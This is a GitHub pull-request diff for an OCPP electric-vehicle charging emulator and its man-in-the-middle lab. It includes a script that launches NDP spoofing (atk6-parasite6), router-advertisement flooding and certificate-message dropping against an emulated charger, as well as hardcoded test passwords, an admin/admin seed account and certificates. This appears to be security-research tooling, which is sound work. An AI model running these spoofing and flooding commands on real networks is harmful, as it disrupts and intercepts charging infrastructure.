Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
venv/
charging/__pycache__/
charging/ipmininet/topologies/__pycache__/
charging/db.sqlite3
Todo.md
mitm/__pycache__
Binary file removed charging/__pycache__/__init__.cpython-310.pyc
Binary file not shown.
Binary file removed charging/__pycache__/__init__.cpython-312.pyc
Binary file not shown.
Binary file removed charging/__pycache__/api_client.cpython-310.pyc
Binary file not shown.
Binary file removed charging/__pycache__/client.cpython-310.pyc
Binary file not shown.
Binary file removed charging/__pycache__/db.cpython-310.pyc
Binary file not shown.
Binary file removed charging/__pycache__/db.cpython-312.pyc
Binary file not shown.
Binary file removed charging/__pycache__/proxy.cpython-310.pyc
Binary file not shown.
5 changes: 4 additions & 1 deletion charging/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,9 @@
from datetime import datetime, timezone
from typing import List, Optional, Callable, Awaitable, Dict, Any
import base64
#import logging
#logging.basicConfig(level=logging.DEBUG)
#logging.getLogger("websockets").setLevel(logging.DEBUG)

import aioconsole
import websockets
Expand Down Expand Up @@ -1043,7 +1046,7 @@ async def launch_client(
credentials = create_basic_auth64(serial_number, bytes(CONFIGURATION['AuthorizationKey'], 'utf-8'))
else:
if SECURITY_CTRL['BasicAuthPassword']:
credentials = f'{SECURITY_CTRL['Identity']}:{SECURITY_CTRL['BasicAuthPassword']}'.encode('utf-8')
credentials = f"{SECURITY_CTRL['Identity']}:{SECURITY_CTRL['BasicAuthPassword']}".encode('utf-8')
credentials = base64.b64encode(credentials).decode('utf-8')

if VERSION == 'v1.6':
Expand Down
8 changes: 4 additions & 4 deletions charging/client_config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ comm:
- 2
NetworkProfileConnectionAttempts: 2
OfflineThreshold: 30
ip: fe80::e3a6:46e4:bff9:fb8e%ens33
ip: fe80::20c:29ff:fe0a:aa2b%ens160
model: E2507
port0: 9000
port1: 9001
Expand All @@ -21,17 +21,17 @@ port7: 9007
profiles:
0:
SP: 1
ip: fe80::e3a6:46e4:bff9:fb8e%ens33
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
1:
SP: 2
ip: fe80::e3a6:46e4:bff9:fb8e%ens33
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
2:
SP: 3
ip: fe80::e3a6:46e4:bff9:fb8e%ens33
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
security:
Expand Down
2 changes: 1 addition & 1 deletion charging/cso.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@
if args.server:
ip = args.server
else:
ip = 'fe80::e3a6:46e4:bff9:fb8e%ens33'
ip = 'fe80::e3a6:46e4:bff9:fb8e%ens160'

cmd_list = ['list', 'exit', 'help', 'install', 'get', 'setProfile', 'setVariable', 'trigger', 'ping']

Expand Down
Binary file removed charging/db.sqlite3
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
-----BEGIN CERTIFICATE-----
MIICITCCAaagAwIBAgIUG2E3NLVfVrjtKpgyuZk/3CK3s+swCgYIKoZIzj0EAwMw
XzELMAkGA1UEBhMCQU4xEjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5v
bnltb3VzMRMwEQYDVQQKDApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNB
MB4XDTI1MDIxNDE0NDMxNFoXDTM1MDIxMjE0NDMxNFowXzELMAkGA1UEBhMCQU4x
EjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5vbnltb3VzMRMwEQYDVQQK
DApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNBMHYwEAYHKoZIzj0CAQYF
K4EEACIDYgAEH4T4Jn6VnDB4R1ml5tJSmw9KgNUJ1rQtdhOAJYe4M7sCIKi2fwTG
MWOHM/MtmhGrZLGo2E/oozeGUx+WBWySeFBl99PqRHHPGS3iD1gU2Vq1WUSNmgFq
cXu7GlsA8iXfoyMwITAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNpADBmAjEA7YhKNUVyAAgb/y0tt/G9sTjnk07H+Wu2lh5EzqHk
fL6LSFMlCt7PDogND0QGd5FeAjEAp3c/pRsFujBy9sWntDGrZ7O2pomPbjI2J365
lvCLKWDAgbIB0unmfaheISNULSmu
-----END CERTIFICATE-----
24 changes: 12 additions & 12 deletions charging/installedCertificates/E2507-8420-1274/root/rootCert_1.pem
Original file line number Diff line number Diff line change
@@ -1,14 +1,14 @@
-----BEGIN CERTIFICATE-----
MIICGTCCAaCgAwIBAgIUMi0FHauwv9+IELU2BeusLlOfapowCgYIKoZIzj0EAwMw
XDELMAkGA1UEBhMCQU4xEjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5v
bnltb3VzMRIwEAYDVQQKDAlNSVRNUHJveHkxETAPBgNVBAMMCG1pdG0uY29tMB4X
DTI1MDIxNDE1NDUyNFoXDTM1MDIxMjE1NDUyNFowXDELMAkGA1UEBhMCQU4xEjAQ
BgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5vbnltb3VzMRIwEAYDVQQKDAlN
SVRNUHJveHkxETAPBgNVBAMMCG1pdG0uY29tMHYwEAYHKoZIzj0CAQYFK4EEACID
YgAEhzvUOAN1Il4wDs78hND4XveQT6vDWts67mg2CMcA4SBj1Gz5j9msLameUDG4
pEt1jbO6G1lSq1Bzhug9FwNSuaSRI0EnMDBQuLy0VmwiN10IqBk6wk/AKdtxO5OD
5HjnoyMwITAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAKBggqhkjO
PQQDAwNnADBkAjByiuPHDTyir9Xl2PwepcPBAKsxVOG9luHb/B+2t+TKCAWKjwgP
7t9caZudY2fg2AYCMGPCK4/Efg5k9pMZ1OTPEeyZsTgr1Fy6Umc02dUTfqVkl0O0
p0+8+CFLdhzAdOBuDQ==
MIICITCCAaagAwIBAgIUG2E3NLVfVrjtKpgyuZk/3CK3s+swCgYIKoZIzj0EAwMw
XzELMAkGA1UEBhMCQU4xEjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5v
bnltb3VzMRMwEQYDVQQKDApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNB
MB4XDTI1MDIxNDE0NDMxNFoXDTM1MDIxMjE0NDMxNFowXzELMAkGA1UEBhMCQU4x
EjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5vbnltb3VzMRMwEQYDVQQK
DApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNBMHYwEAYHKoZIzj0CAQYF
K4EEACIDYgAEH4T4Jn6VnDB4R1ml5tJSmw9KgNUJ1rQtdhOAJYe4M7sCIKi2fwTG
MWOHM/MtmhGrZLGo2E/oozeGUx+WBWySeFBl99PqRHHPGS3iD1gU2Vq1WUSNmgFq
cXu7GlsA8iXfoyMwITAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNpADBmAjEA7YhKNUVyAAgb/y0tt/G9sTjnk07H+Wu2lh5EzqHk
fL6LSFMlCt7PDogND0QGd5FeAjEAp3c/pRsFujBy9sWntDGrZ7O2pomPbjI2J365
lvCLKWDAgbIB0unmfaheISNULSmu
-----END CERTIFICATE-----
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
-----BEGIN CERTIFICATE-----
MIICITCCAaagAwIBAgIUG2E3NLVfVrjtKpgyuZk/3CK3s+swCgYIKoZIzj0EAwMw
XzELMAkGA1UEBhMCQU4xEjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5v
bnltb3VzMRMwEQYDVQQKDApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNB
MB4XDTI1MDIxNDE0NDMxNFoXDTM1MDIxMjE0NDMxNFowXzELMAkGA1UEBhMCQU4x
EjAQBgNVBAgMCUFub255bW91czESMBAGA1UEBwwJQW5vbnltb3VzMRMwEQYDVQQK
DApFbXVPQ1BQLUNBMRMwEQYDVQQDDApFbXVPQ1BQLUNBMHYwEAYHKoZIzj0CAQYF
K4EEACIDYgAEH4T4Jn6VnDB4R1ml5tJSmw9KgNUJ1rQtdhOAJYe4M7sCIKi2fwTG
MWOHM/MtmhGrZLGo2E/oozeGUx+WBWySeFBl99PqRHHPGS3iD1gU2Vq1WUSNmgFq
cXu7GlsA8iXfoyMwITAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNpADBmAjEA7YhKNUVyAAgb/y0tt/G9sTjnk07H+Wu2lh5EzqHk
fL6LSFMlCt7PDogND0QGd5FeAjEAp3c/pRsFujBy9sWntDGrZ7O2pomPbjI2J365
lvCLKWDAgbIB0unmfaheISNULSmu
-----END CERTIFICATE-----
2 changes: 1 addition & 1 deletion charging/ipmininet/launch.py
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,7 @@ def run_topology(topology_module_name):
while True:
try:
config['security']['BasicAuthPassword'] = auth_key
print(f'AuthKey: {config['security']['BasicAuthPassword']}')
print(f"AuthKey: {config['security']['BasicAuthPassword']}")
except Exception as e:
print(e)
time.sleep(2)
Expand Down
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
8 changes: 1 addition & 7 deletions charging/ipmininet/topologies/customTopo_config.yaml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
clients:
client0:
SecProfile: 2
SecProfile: '2'
attempts: 2
dns: DNS1
name: CLI0
Expand Down Expand Up @@ -43,12 +43,6 @@ routers:
name: R0
router1:
name: R1
routerT:
name: RT
routerTe:
name: RTe
routerTes:
name: RTes
servers:
server0:
dns: DNS1
Expand Down
17 changes: 9 additions & 8 deletions charging/scenarios/charge_normally.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@
except yaml.YAMLError as e:
print('Failed to parse server_config.yaml')

from charging.client import launch_client, ChargePointClientBase, wait_for_button_press
from charging.client import launch_client, ChargePointClientBase, wait_for_button_press, load_config, CONFIGURATION

logging.basicConfig(level=logging.ERROR)

Expand All @@ -43,7 +43,7 @@ async def charge_normally(cp: ChargePointClientBase):
await wait_for_button_press('AUTHORIZATION')

# Send authorization request
response = await cp.send_authorize({'type': 'ISO15693', 'id_token': RFID_TOKEN})
response = await cp.send_authorize({'type': TOKEN_TYPE, 'id_token': RFID_TOKEN })

# Check if authorization was accepted
if response.id_token_info['status'] != "Accepted":
Expand Down Expand Up @@ -93,10 +93,11 @@ async def charge_normally(cp: ChargePointClientBase):
config = {
'vendor_name': 'EmuOCPPCharge',
'model': 'E2507',
'serial_number': 'E2507-8420-1274',
'password': 'HPEufO4u3IMl1G',
'server': "[fe80::e3a6:46e4:bff9:fb8e%ens33]",
'port': 9000
}

'index':1
}

# Load config file
if not load_config():
quit(1)

asyncio.run(launch_client(**config, async_runnable=charge_normally))
47 changes: 47 additions & 0 deletions charging/scenarios/client_config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
HeartbeatInterval: 10
comm:
HeartbeatInterval: 10
MessageTimeout: 30
NetworkConfigurationPriority:
- 0
- 1
- 2
NetworkProfileConnectionAttempts: 2
OfflineThreshold: 30
ip: fe80::20c:29ff:fe0a:aa2b%ens160
model: E2507
port0: 9000
port1: 9001
port2: 9002
port3: 9003
port4: 9004
port5: 9005
port6: 9006
port7: 9007
profiles:
0:
SP: 1
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
1:
SP: 2
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
2:
SP: 3
ip: fe80::20c:29ff:fe0a:aa2b%ens160
message_timeout: 30
ocpp_version: OCPP201
security:
AdditionalRootCertificateCheck: false
BasicAuthPassword: 48504575664f347533494d6c3147
CertSigningRepeatTimes: 2
CertSigningWaitMinimum: 30
Identity: E2507-8420-1275
OrganizationName: EmuOCPP
SecurityProfile: 1
url: null
vendor_name: EmuOCPPCharge
version: v2.0.1
41 changes: 41 additions & 0 deletions charging/seed_db.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
import db

def seed_users():
print("[*] Adding dummy users...")
users = [
("E2507-8420-1275","48504575664f347533494d6c3147"),
("E2507-8420-1274","HPEufO4u3IMl1G"),
("charger_01", "pass123"),
("charger_02", "pass456"),
("admin", "admin"),
]
for user, pwd in users:
try:
db.add_user(user, pwd)
print(f" [+] Added user: {user}")
except Exception as e:
print(f" [!] Skipped {user}: {e}")

def seed_events():
print("[*] Adding dummy events...")
events = [
("BootNotification", "charger_01", {"status": "Accepted"}),
("Authorize", "charger_02", {"idTag": "ABC123"}),
("Heartbeat", "charger_01", {"interval": 300}),
]
for evt_type, target, data in events:
try:
db.add_event(evt_type, target, data)
print(f" [+] Added event: {evt_type} for {target}")
except Exception as e:
print(f" [!] Failed to add event: {e}")

def main():
print("⚡ Seeding database with dummy data...")
db.purge_events()
seed_users()
#seed_events()
print("✅ Done! Database is ready.")

if __name__ == "__main__":
main()
4 changes: 2 additions & 2 deletions charging/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -236,7 +236,7 @@ def load_config() -> bool:

return True

def load_address(interface:str = 'ens33'):
def load_address(interface:str):
try:
addrs = netifaces.ifaddresses(interface)
return addrs[netifaces.AF_INET6][0]['addr']
Expand Down Expand Up @@ -1012,7 +1012,7 @@ def load_certificate(cert_path):
# Read the certificate from the file
with open(cert_path, 'r') as cert_file:
cert_data = cert_file.read()
# Ensure the certificate length is within the allowed bounds
# Ensure the certificate length is within the allowed bounds
if len(cert_data) > 5500:
raise ValueError("Certificate exceeds maximum allowed length (5500 characters).")
return cert_data
Expand Down
2 changes: 1 addition & 1 deletion charging/server_config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ accepted_tokens:
- id_token: '1122334455667788'
type: ISO15693
dns: null
ip: fe80::e3a6:46e4:bff9:fb8e%ens33
ip: fc00:0:3::1%ens160
port0: 9000
port1: 9001
port2: 9002
Expand Down
File renamed without changes.
8 changes: 4 additions & 4 deletions mitm/SimpleMitM.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,13 +49,13 @@ def build(self, *args, **kwargs):

# Open xterm for each host
input('Press any key to launch server, CSO and client...')
makeTerm(h3, title= 'Server',cmd="bash -c './venv/bin/python3 ./charging/server.py -iface h3-eth0; exec bash'")
makeTerm(h3, title= 'Server',cmd="bash -c './venv/bin/python3 ./charging/server.py -iface h3-eth0 -config_file './mitm/server_config.yaml'; exec bash'") #fc00:0:1::1
makeTerm(h4, title= 'CSO',cmd=f"bash -c 'echo Loading...; sleep 30; ./venv/bin/python3 ./charging/cso.py -server {h3.defaultIntf().ip6}; exec bash'")
makeTerm(h1, title= 'Client',cmd=F"bash -c 'echo Loading...; sleep 30; ./venv/bin/python3 ./charging/client.py -server {h3.defaultIntf().ip6}; exec bash'")
makeTerm(h1, title= 'Client',cmd=F"bash -c 'echo Loading...; sleep 30; ./venv/bin/python3 ./charging/client.py -server {h3.defaultIntf().ip6} -config_file './mitm/client_config.yaml'; exec bash'")

input('Press any key to launch attacker phase 1 when the CP is connected with the CSMS...')
makeTerm(h2, title= 'NDP Spoof',cmd="bash -c 'bash ./mitm/prep.sh; parasite6 -l h2-eth0; exec bash'")
makeTerm(h2, title= 'Flood network',cmd="bash -c 'flood_router26 h2-eth0; exec bash'")
makeTerm(h2, title= 'NDP Spoof',cmd="bash -c 'bash ./mitm/prep.sh; atk6-parasite6 -l h2-eth0; exec bash'")
makeTerm(h2, title= 'Flood network',cmd="bash -c 'atk6-flood_router26 h2-eth0; exec bash'")

input('Press any key to launch attacker phase 2 when address spoofed and flood terminal is closed...')
makeTerm(h2, cmd=f"echo Trying to disconnect the CP from the CSMS...; echo 0 > /proc/sys/net/ipv6/conf/all/forwarding; sleep {BLOCKING_TIME}; echo 1 > /proc/sys/net/ipv6/conf/all/forwarding")
Expand Down
Binary file removed mitm/__pycache__/downgrade.cpython-310.pyc
Binary file not shown.
Binary file removed mitm/__pycache__/mitm.cpython-310.pyc
Binary file not shown.
Binary file removed mitm/__pycache__/mitm.cpython-312.pyc
Binary file not shown.
47 changes: 47 additions & 0 deletions mitm/client_config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
HeartbeatInterval: 10
comm:
HeartbeatInterval: 10
MessageTimeout: 30
NetworkConfigurationPriority:
- 0
- 1
- 2
NetworkProfileConnectionAttempts: 2
OfflineThreshold: 30
ip: fc00:0:1::1
model: E2507
port0: 9000
port1: 9001
port2: 9002
port3: 9003
port4: 9004
port5: 9005
port6: 9006
port7: 9007
profiles:
0:
SP: 1
ip: fc00:0:1::1
message_timeout: 30
ocpp_version: OCPP201
1:
SP: 2
ip: fc00:0:1::1
message_timeout: 30
ocpp_version: OCPP201
2:
SP: 3
ip: fc00:0:1::1
message_timeout: 30
ocpp_version: OCPP201
security:
AdditionalRootCertificateCheck: false
BasicAuthPassword: HPEufO4u3IMl1G
CertSigningRepeatTimes: 2
CertSigningWaitMinimum: 30
Identity: E2507-8420-1274
OrganizationName: EmuOCPP
SecurityProfile: 1
url: null
vendor_name: EmuOCPPCharge
version: v2.0.1
File renamed without changes.
2 changes: 1 addition & 1 deletion mitm/mitm.py
Original file line number Diff line number Diff line change
Expand Up @@ -75,7 +75,7 @@ def print_dict(d, indent = 0, msg = None):
if key == 'certificateChain' or key == 'cert':
print("====================================================\n")
print("====================================================\n")
print(" DROPING MESSAGE \n")
print(" DROPPING MESSAGE \n")
print("====================================================\n")
print("====================================================\n")
msg.drop()
Expand Down
Loading